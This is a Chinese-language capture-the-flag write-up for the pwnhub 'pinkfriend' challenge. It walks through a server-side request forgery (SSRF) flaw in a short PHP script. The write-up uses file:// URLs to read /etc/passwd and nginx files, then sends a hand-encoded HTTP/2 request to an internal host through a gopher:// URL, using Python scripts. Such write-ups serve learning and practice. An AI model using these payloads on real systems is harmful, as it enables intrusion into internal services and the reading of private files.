pwnhub_pinkfriend

题目描述

What is Peppa Pig?

  • 参赛时间:2019.01.28 20:00 - 2019.01.30 20:00
  • 参与人数:72

想知道胖哥特制的佩奇里有什么秘密吗?
快来一起玩耍吧!
祝大家新春快乐,“猪”事顺意!

解题过程

SSRF

题目简单粗暴给了一个ssrf的跳板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
show_source(__FILE__);

if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!$url){
die('Can not parse url: '.$_GET['url']);
}
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $_GET['url']);
curl_exec($ch);
curl_close($ch);
}
?>

读文件

尝试读一下文件/?url=file:///etc/passwd,成功读到。

读一些nginx的配置文件和日志文件

1
2
3
/etc/nginx/nginx.conf
/var/log/nginx/access.log;
/var/log/nginx/error.log

刚开始还能读到日志,后面就读不到了。

在配置文件里看到flag字样

1
2
3
4
5
6
7
8
9
10
11
12
# Virtual Host Configs
##

include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;

#server {
# listen 8080
# location /flag {
# proxy_pass 172.20.0.3:8080
# }
#}

在内网的172.20.0.3:8080

访问内网

http协议访问内网

https://40.73.33.181/?url=http://172.20.0.3:8080

返回了几个乱码,用脚本接收下

1
'\x00\x00\x12\x04\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x80\x00\x04\x00\x01\x00\x00\x00\x05\x00\xff\xff\xff\x00\x00\x04\x08\x00\x00\x00\x00\x00\x7f\xff\x00\x00\x00\x00\x08\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'

一脸懵逼,里面有很多00,也不像是flag的某种加密。

再分析一下返回包。

1
2
3
4
5
* Connection state changed (MAX_CONCURRENT_STREAMS updated)!
< HTTP/2 200
< server: nginx/1.14.0 (Ubuntu)
< date: Sat, 02 Feb 2019 14:52:51 GMT
< content-type: text/html; charset=UTF-8

看到了它采用的是HTTP2协议。

HTTP2

因为ssrf没有http2的协议可以利用,所以用gopher打http2。

  • 学自 f1sh 师傅

先构造一个http2的请求包。

监听端口

1
nc -lv 8000>1.txt

通过curl协议发送一个http2的请求。

1
curl --http2-prior-knowledge  http://127.0.0.1:8000

通过goper协议把数据发出

1
2
3
4
5
import requests
url='https://40.73.33.181/?url=gopher://172.20.0.3:8080/_'
url=url+'%25%35%30%25%35%32%25%34%39%25%32%30%25%32%61%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%32%25%32%65%25%33%30%25%30%64%25%30%61%25%30%64%25%30%61%25%35%33%25%34%64%25%30%64%25%30%61%25%30%64%25%30%61%25%30%30%25%30%30%25%31%32%25%30%34%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%33%25%30%30%25%30%30%25%30%30%25%36%34%25%30%30%25%30%34%25%34%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%32%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%34%25%30%38%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%33%66%25%66%66%25%30%30%25%30%31%25%30%30%25%30%30%25%31%65%25%30%31%25%30%35%25%30%30%25%30%30%25%30%30%25%30%31%25%38%32%25%38%34%25%38%36%25%34%31%25%38%61%25%30%38%25%39%64%25%35%63%25%30%62%25%38%31%25%37%30%25%64%63%25%31%33%25%32%63%25%62%33%25%37%61%25%38%38%25%32%35%25%62%36%25%35%30%25%63%33%25%61%62%25%62%36%25%64%32%25%65%30%25%35%33%25%30%33%25%32%61%25%32%66%25%32%61%25%32%37'
r=requests.get(url=url,verify = False)
print r.content

收到的数据也是经过HTTP2编码的。

建立一个http2服务将收到的数据发出来

1
2
3
4
5
6
7
8
9
10
11
12
13
import socket

a = open("/Users/a1tm4nz/Desktop/2.txt", "r").read()
s = socket.socket()
host = '127.0.0.1'
port = 2333
s.bind((host, port))

s.listen(5)
while True:
c, addr = s.accept()
print '连接地址:', addr
c.send(a)